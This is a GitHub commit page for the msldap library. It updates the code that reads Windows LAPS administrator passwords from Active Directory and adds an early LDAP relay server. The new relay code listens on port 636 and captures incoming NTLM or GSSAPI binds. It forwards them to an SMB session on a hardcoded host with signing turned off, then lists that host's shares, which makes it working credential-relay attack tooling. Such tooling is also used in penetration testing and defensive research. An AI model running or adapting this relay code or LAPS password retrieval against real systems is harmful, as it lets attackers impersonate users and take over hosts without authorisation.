Skip to content

Commit

Permalink
relayserver, lapsv2 started
Browse files Browse the repository at this point in the history
  • Loading branch information
Skelsec committed May 18, 2023
1 parent 0bdf96b commit 51c7bd0
Show file tree
Hide file tree
Showing 8 changed files with 361 additions and 24 deletions.
10 changes: 5 additions & 5 deletions msldap/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -311,27 +311,27 @@ async def get_all_laps_windows(self):

ldap_filter = r'(sAMAccountType=805306369)'
# first try to get the plaintext password (the new windows laps doesn't necessary encrypt the PWs)
attributes = ['cn','ms-LAPS-Password']
attributes = ['cn','msLAPS-Password']
async for entry, err in self.pagedsearch(ldap_filter, attributes):
yield entry, err

# now try to get the encrypted password
attributes = ['cn','ms-LAPS-EncryptedPassword']
attributes = ['cn','msLAPS-EncryptedPassword']
async for entry, err in self.pagedsearch(ldap_filter, attributes):
yield entry, err

# now try to get the encrypted password history
attributes = ['cn','ms-LAPS-EncryptedPasswordHistory']
attributes = ['cn','msLAPS-EncryptedPasswordHistory']
async for entry, err in self.pagedsearch(ldap_filter, attributes):
yield entry, err

# now try to get the encrypted DSRM password
attributes = ['cn','ms-LAPS-EncryptedDSRMPassword']
attributes = ['cn','msLAPS-EncryptedDSRMPassword']
async for entry, err in self.pagedsearch(ldap_filter, attributes):
yield entry, err

# now try to get the encrypted DSRM password history
attributes = ['cn','ms-LAPS-EncryptedDSRMPasswordHistory']
attributes = ['cn','msLAPS-EncryptedDSRMPasswordHistory']
async for entry, err in self.pagedsearch(ldap_filter, attributes):
yield entry, err

Expand Down
32 changes: 20 additions & 12 deletions msldap/examples/msldapclient.py
Original file line number Diff line number Diff line change
Expand Up @@ -547,24 +547,32 @@ async def do_laps(self):
if err is not None:
raise err

if 'ms-LAPS-Password' in entry['attributes']:
pwd = entry['attributes']['ms-LAPS-Password']
if 'msLAPS-Password' in entry['attributes']:
pwd = entry['attributes']['msLAPS-Password']
print('%s : %s' % (entry['attributes']['cn'], pwd))

if 'ms-LAPS-EncryptedPassword' in entry['attributes']:
pwd = entry['attributes']['ms-LAPS-EncryptedPassword']
print('%s : %s' % (entry['attributes']['cn'], pwd))

if 'ms-LAPS-EncryptedPasswordHistory' in entry['attributes']:
pwd = entry['attributes']['ms-LAPS-EncryptedPasswordHistory']

if 'msLAPS-EncryptedPassword' in entry['attributes']:
from msldap.wintypes.encryptedlaps import EncryptedLAPSBlob
pwd = entry['attributes']['msLAPS-EncryptedPassword']
print('%s : %s' % (entry['attributes']['cn'], pwd.hex()))
blob = EncryptedLAPSBlob.from_bytes(pwd)
#print(str(blob))
#print(blob.asn1blob.native)
#print(blob.asn1blob.native['content']['recipient_infos'])
#print(blob.asn1blob.native['content']['recipient_infos'][0]['kekid']['key_identifier'])
print(blob.get_keyidentifier())

if 'msLAPS-EncryptedPasswordHistory' in entry['attributes']:
pwd = entry['attributes']['msLAPS-EncryptedPasswordHistory']
print('%s : %s' % (entry['attributes']['cn'], pwd))

if 'ms-LAPS-EncryptedDSRMPassword' in entry['attributes']:
pwd = entry['attributes']['ms-LAPS-EncryptedDSRMPassword']
if 'msLAPS-EncryptedDSRMPassword' in entry['attributes']:
pwd = entry['attributes']['msLAPS-EncryptedDSRMPassword']
print('%s : %s' % (entry['attributes']['cn'], pwd))

if 'ms-LAPS-EncryptedDSRMPasswordHistory' in entry['attributes']:
pwd = entry['attributes']['ms-LAPS-EncryptedDSRMPasswordHistory']
if 'msLAPS-EncryptedDSRMPasswordHistory' in entry['attributes']:
pwd = entry['attributes']['msLAPS-EncryptedDSRMPasswordHistory']
print('%s : %s' % (entry['attributes']['cn'], pwd))

return True
Expand Down
14 changes: 7 additions & 7 deletions msldap/protocol/typeconversion.py
Original file line number Diff line number Diff line change
Expand Up @@ -347,14 +347,14 @@ def multi_sd(x, encode=False):
'securityIdentifier' : single_bytes,
'unicodePwd' : single_str,
'ms-Mcs-AdmPwd' : single_str,
'ms-LAPS-EncryptedPassword': single_bytes,
'ms-LAPS-EncryptedPasswordHistory': multi_bytes,
'ms-LAPS-EncryptedDSRMPassword': single_bytes,
'ms-LAPS-EncryptedDSRMPasswordHistory': multi_bytes,
'ms-LAPS-Password': single_str,
'ms-LAPS-PasswordExpirationTime': single_interval,
'msLAPS-EncryptedPassword': single_bytes,
'msLAPS-EncryptedPasswordHistory': multi_bytes,
'msLAPS-EncryptedDSRMPassword': single_bytes,
'msLAPS-EncryptedDSRMPasswordHistory': multi_bytes,
'msLAPS-Password': single_str,
'msLAPS-PasswordExpirationTime': single_interval,
'msDS-AllowedToActOnBehalfOfOtherIdentity': single_bytes,
'ms-LAPS-Encrypted-Password-Attributes': single_bytes,
'msLAPS-Encrypted-Password-Attributes': single_bytes,
'cACertificate': single_bytes,
'certificateTemplates': multi_str,
'cACertificateDN': single_str,
Expand Down
Empty file added msldap/relay/__init__.py
Empty file.
89 changes: 89 additions & 0 deletions msldap/relay/server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
from asysocks.unicomm.common.target import UniTarget, UniProto
from asysocks.unicomm.server import UniServer
from msldap.network.packetizer import LDAPPacketizer
from msldap.relay.serverconnection import LDAPRelayServerConnection
from asyauth.protocols.spnego.relay.native import spnegorelay_ntlm_factory
from asyauth.protocols.ntlm.relay.native import NTLMRelaySettings, ntlmrelay_factory
import traceback
import asyncio

class LDAPServerSettings:
def __init__(self, gssapi_factory):
self.gssapi_factory = gssapi_factory

@property
def gssapi(self):
return self.gssapi_factory()

class LDAPRelayServer:
def __init__(self, target, settings):
self.target = target
self.settings = settings
self.server = None
self.serving_task = None
self.connections = {}
self.conn_ctr = 0

def get_ctr(self):
self.conn_ctr += 1
return self.conn_ctr

async def __handle_connection(self):
try:
async for connection in self.server.serve():
print('connection in!')

smbconnection = LDAPRelayServerConnection(self.settings, connection)
self.connections[self.get_ctr()] = smbconnection
x = asyncio.create_task(smbconnection.run())

except Exception as e:
traceback.print_exc()
return

async def run(self):
self.server = UniServer(self.target, LDAPPacketizer())
self.serving_task = asyncio.create_task(self.__handle_connection())
return self.serving_task

async def test_relay_queue(rq):
try:
from aiosmb.connection import SMBConnection
from aiosmb.commons.connection.target import SMBTarget
from aiosmb.commons.interfaces.machine import SMBMachine
test_target = SMBTarget('10.10.10.2')
while True:
item = await rq.get()
print(item)
connection = SMBConnection(item, test_target, preserve_gssapi=False, nosign=True)
_, err = await connection.login()
if err is not None:
print('SMB client login err: %s' % err)
print(traceback.format_tb(err.__traceback__))
continue
machine = SMBMachine(connection)
async for share, err in machine.list_shares():
if err is not None:
print('SMB client list_shares err: %s' % err)
continue
print(share)

except Exception as e:
traceback.print_exc()
return

async def amain():
try:
auth_relay_queue = asyncio.Queue()
x = asyncio.create_task(test_relay_queue(auth_relay_queue))
target = UniTarget('0.0.0.0', 636, UniProto.SERVER_SSL_TCP)

settings = LDAPServerSettings(lambda: spnegorelay_ntlm_factory(auth_relay_queue, lambda: ntlmrelay_factory()))
server = LDAPRelayServer(target, settings)
server_task = await server.run()
await server_task
except Exception as e:
traceback.print_exc()
return
if __name__ == '__main__':
asyncio.run(amain())
148 changes: 148 additions & 0 deletions msldap/relay/serverconnection.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
from msldap.protocol.utils import calcualte_length
from msldap.protocol.messages import LDAPMessage, AuthenticationChoice, protocolOp, BindResponse
from msldap import logger
import traceback
import asyncio

class LDAPRelayServerConnection:
def __init__(self, settings, connection):
self.settings = settings
self.gssapi = settings.gssapi
self.ntlm = self.gssapi.authentication_contexts['NTLMSSP - Microsoft NTLM Security Support Provider']
self.connection = connection
self.__auth_type = None
self.__auth_iter = 0

async def log_async(self, level, msg):
if self.settings.log_q is not None:
src = 'LDAPCON-%s:%s' % (self.client_ip, self.client_port)
await self.settings.log_q.put((src, level, msg))
else:
logger.log(level, msg)

async def terminate(self):
self.handle_in_task.cancel()

async def __handle_ldap_in(self):
async for msg_data in self.connection.read():
try:
msg = LDAPMessage.load(msg_data)
if msg['protocolOp']._choice == 0:
await self.__bindreq(msg)
else:
raise Exception('Unknown LDAP message! %s' % msg.native)

except Exception as e:
await self.log_async(1, str(e))
return

async def __bindreq(self, msg):
try:
msg_id = msg.native['messageID']
authdata_raw = msg.native['protocolOp']['authentication']
if isinstance(authdata_raw, bytes) is True:
self.__auth_type = 'NTLM'
if self.__auth_iter == 0:
t = {
'resultCode' : 0,
'matchedDN' : 'NTLM'.encode(),
'diagnosticMessage' : b'',
}
po = {'bindResponse' : BindResponse(t)}
b= {
'messageID' : msg_id,
'protocolOp' : protocolOp(po),
}
resp = LDAPMessage(b)
await self.connection.write(resp.dump())
self.__auth_iter += 1
return

else:
resdata, to_conitnue, err = await self.ntlm.authenticate_relay_server(authdata_raw)
if err is not None:
raise err

if resdata is None:
t = {
'resultCode' : 49,
'matchedDN' : b'',
'diagnosticMessage' : b'8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563\x00',
}
po = {'bindResponse' : BindResponse(t)}
b= {
'messageID' : msg_id,
'protocolOp' : protocolOp(po),
}
resp = LDAPMessage(b)

await self.connection.write(resp.dump())

await self.terminate()
return

t = {
'resultCode' : 0,
'matchedDN' : resdata,
'diagnosticMessage' : b'',
}
po = {'bindResponse' : BindResponse(t)}
b= {
'messageID' : msg_id,
'protocolOp' : protocolOp(po),
}
resp = LDAPMessage(b)
await self.connection.write(resp.dump())
self.__auth_iter += 1
return

if isinstance(authdata_raw, dict) is True:
self.__auth_type = 'GSSAPI'
resdata, to_conitnue, err = await self.gssapi.authenticate_relay_server(authdata_raw['credentials'])
if err is not None:
raise err

if resdata is None:
t = {
'resultCode' : 49,
'matchedDN' : b'',
'diagnosticMessage' : b'8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563\x00',
}
po = {'bindResponse' : BindResponse(t)}
b= {
'messageID' : msg_id,
'protocolOp' : protocolOp(po),
}
resp = LDAPMessage(b)

await self.connection.write(resp.dump())

await self.terminate()
return

t = {
'resultCode' : 14,
'matchedDN' : b'',
'diagnosticMessage' : b'',
'serverSaslCreds': resdata
}
po = {'bindResponse' : BindResponse(t)}
b= {
'messageID' : msg_id,
'protocolOp' : protocolOp(po),
}
resp = LDAPMessage(b)
await self.connection.write(resp.dump())
self.__auth_iter += 1

else:
raise Exception('Unknown auth method %s' % authdata_raw)


except Exception as e:
traceback.print_exc()
return

async def run(self):
self.handle_in_task = asyncio.create_task(self.__handle_ldap_in())
await self.handle_in_task
Loading

0 comments on commit 51c7bd0

Please sign in to comment.